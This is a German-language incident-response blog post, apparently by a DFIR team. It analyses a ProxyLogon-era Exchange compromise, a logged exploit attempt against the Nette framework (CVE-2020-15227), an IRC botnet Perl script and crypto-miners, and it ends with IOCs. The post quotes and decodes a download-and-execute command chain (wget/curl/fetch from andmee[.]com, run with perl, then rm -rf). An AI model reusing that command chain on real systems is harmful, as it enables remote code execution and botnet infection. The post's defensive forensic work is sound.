Incident Response Diary

Überblick

Zum Zeitpunkt des Einsatzes war das großflächige Ausnutzen der Sicherheitslücken noch recht neu, aus diesem Grund haben wir unter anderem den Blogbeitrag von Volexity verwendet, um IOCs zu identifizieren. Ein möglicher IOC war der User-Agent python-requests/*.

Identifizierung der IOCs

Im Rahmen unserer Analyse konnten neben den erwarteten IOCs für die ProxyLogon/Hafnium Schwachstelle zusätzlich ein IOC einer anderen Sicherheitslücke identifiziert werden. Der folgende Auszug wurde den httpproxy-Logs des betroffenen Exchange Servers entnommen und deutet auf die versuchte Ausnutzung der CVE-2020-15227 hin. Hierbei handelt es sich um eine Schwachstelle in dem PHP-Framework „Nette“.

Python-urllib/3.5,192.168.1.247,<HOSTNAME>, url=https%3a%2f%2f<IP-Address>%2fo wa%2fnette.micro%23call- back%3
dshell_exec%26cmd%3dcd%2b%2 52ftmp%253bwget%2band- mee.com%252f.x%252fb%253bcurl%2b- O%2bhttp%253a%252f%252f
andmee.com%252f.x%252fb%253bfetch%2bht tp%253a%252f%252fand- mee.com%252f.x%252fb%253bperl%2bb %253brm%2b-rf%2bb*&
reason=0,,Begin- Request=2021-02-26T09:25:09.655Z; End-Request=2021-02-26T09:25:09.656Z;,,,

Die Schwachstelle ermöglicht, unter bestimmten Umständen, eine Remote Code Execution. Der oben aufgeführte Aufruf konnte in folgende Befehle dekodiert werden.

  • https://<IP-Address>%/owa/nette.micro#callback=shell_exec&cmd=cd /tmp wget andmee[.]com/.x/b
  • curl -O http://andmee[.]com/.x/b
  • fetch http://andmee[.]com/.x/b
  • perl b rm -rf b

Die Befehle haben das Ziel das Perl-Skript b  von der Domäne andmee[.]com herunterzuladen, auszuführen und anschließend das Skript zu löschen.

Nach unserer Recherche wurde das Perl-Skript, in einer abgeänderten Form, erstmals im Jahr 2007 veröffentlicht. Die Kommunikation zwischen dem Zombie sowie dem Command and Control (C2) Server erfolgt über einen Internet Relay Chat (IRC).
Die kompromittierten Systeme des Botnets verfügen über Funktionen wie beispielsweise DDoS-, Portscan- und File Download-Routinen.

Innerhalb des Perl-Skriptes änderte der Angreifer lediglich Konfigurationen. Dies beinhaltet beispielsweise die C2 IP-Adresse, den genutzten Port sowie die Namen des IRC-Channels. Auf Basis unserer Code-Analyse entschieden wir uns dafür das Skript b innerhalb unseres Malware-Labors auszuführen und den Netzwerkverkehr mitzuschneiden. Nachfolgend ein Screenshot des Netzwerkverkehrs der Datei b.

 

Oben aufgeführter Screenshot zeigt die initiale Verbindung zum dem IRC-Botnet. Es konnte keine weitere Kommunikation festgestellt werden.
Wir entschieden uns deshalb dazu, eine manuelle Verbindung über einen IRC-Client, herzustellen.

Zum Zeitpunkt unserer Analyse befand sich kein weiterer Teilnehmer, bis auf den Operator des Channels, in dem IRC-Chat.

Im nächsten Schritt unserer Analyse sahen wir uns den Inhalt des Ordners .x auf dem Webserver an.
Der nachfolgende Screenshot zeigt eine Auflistung der Dateien, welche sich in dem Repository befanden.

Wir sahen uns neben der Datei b weitere Dateien innerhalb des Repositories an. Dies umfasst beispielsweise die Unterordner /.s sowie /.p. Beide Unterordner beinhalteten ähnliche Dateien. Hierzu zählt beispielsweise die Datei crond, welche nach unserer Recherche Crypto-Miner (z0Miner) sind.

Neben der anfangs erwähnten Datei b analysierten wir die Datei bot.
Die Ausführung des Perl-Skriptes bot innerhalb unseres Malware-Analyse Labors ließ uns den nachfolgenden Netzwerkmittschnitt aufzeichnen:

Zum Zeitpunkt der Analyse konnten keine Befehle identifiziert werden, welche über den IRC-Channel an das Botnet übertragen wurden.
Für eine weitere Analyse des IRC-Servers haben wir uns dazu entschlossen, erneut eine manuelle Verbindung zu dem IRC-Server aufzubauen. Nachdem wir uns erfolgreich verbinden konnten, konnten wir 22 aktive Teilnehmer im Channel #cocina identifizieren. #cocina ist der Channel auf dem IRC-Server, welcher im Skript angegeben war.
Wir konnten jedoch nicht feststellen, ob es sich bei den Teilnehmern um infizierte Systeme handelt, welche auf Befehle warten oder ob es sich hierbei um andere IT-Security-Researcher handelt.

Während unserer Betrachtungszeit des IRC-Channels konnte keine weitere Kommunikation zwischen uns und dem IRC-Channel festgestellt werden. Ebenso fand keine Kommunikation innerhalb des Channels statt.

Fazit

Wie immer gilt auch in diesem Szenario: Frühes sowie häufiges patchen!

Sobald ein öffentlich zugänglicher Proof of Concept für eine Schwachstelle verfügbar ist, sollten die betroffenen Systeme aktualisiert sein. Sofern die Installation der Hotfixes zeitnah nicht möglich ist, sollten die Systeme isoliert werden, um einen möglichen Schaden zu verhindern.
Im Rahmen unseres Einsatzes konnte die Schwachstelle CVE-2020-15227 nicht ausgenutzt werden, da der betroffene Kunde das PHP-Framework nicht einsetzte.

MD5 hashes  

  • /.s/crond = 373b018bef17e04d8ff29472390403f9
  • /.p/crond = 9d099882a24757ac5033b0c675fecbe5
  • bot = 4f894225ec322479a73a4396689494ac
  • b = 1cac8098cd20b6c9e9c82542946795b3

IP-Addresses/Domains 

  • 5.39.217[.]212 (IRC Server from bot)
  • 198.98.61[.]106 (IRC Server from b)
  • 64.32.6[.]143 (IRC Server from nnx)
  • pool.supportxmr[.]com:3333 (pool url from .p/confg.json)
  • 85.204.116[.]140:443 (pool ip from .s/config.json)

Beitrag teilen auf:

XING
Twitter
LinkedIn

SECUINFRA Falcon Team • Autor

Digital Forensics & Incident Response Experten

Neben den Tätigkeiten, die im Rahmen von Kundenaufträgen zu verantworten sind, kümmert sich das Falcon Team um den Betrieb, die Weiterentwicklung und die Forschung zu diversen Projekten und Themen im DF/IR Bereich.

> alle Artikel
Cookie Consent mit Real Cookie Banner